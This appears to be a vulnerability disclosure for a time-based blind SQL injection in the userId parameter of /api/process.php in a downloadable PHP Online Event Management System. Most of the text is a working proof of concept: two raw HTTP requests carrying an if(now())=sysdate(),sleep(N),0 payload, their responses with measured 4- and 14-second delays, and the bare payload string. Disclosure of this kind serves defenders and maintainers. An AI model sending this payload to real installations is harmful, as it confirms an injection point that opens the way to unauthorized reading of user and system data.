

SQL injection vulnerability exists in userId parameter of /api/process.php file of Online Event Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 GET /eventmanagement/api/process.php?cmd=user&userId=if(now())=sysdate()%2Csleep(4)%2C0 HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/eventmanagement/
5 Cookie: PHPSESSID=k5a829arib4k136pgu0hk309oh
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Mon, 08 Apr 2024 13:30:21 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 2
11
12 []
```

Inspector

Selected text: sleep(4)

Decoded from: URL encoding

sleep(4)

299 bytes | 4,122 millis

Sleep time is 14s:

Request

```
1 GET /eventmanagement/api/process.php?cmd=user&userId=if(now())=sysdate()%2Csleep(14)%2C0 HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/eventmanagement/
5 Cookie: PHPSESSID=k5a829arib4k136pgu0hk309oh
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Mon, 08 Apr 2024 13:31:23 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 2
11
12 []
```

Inspector

Selected text: sleep(14)

Decoded from: URL encoding

sleep(14)

299 bytes | 14,017 millis

Payload: `userId=if(now())=sysdate()%2Csleep(4)%2C0)`

Source Download:

<https://www.campcodes.com/projects/php/event-management-system-in-php/>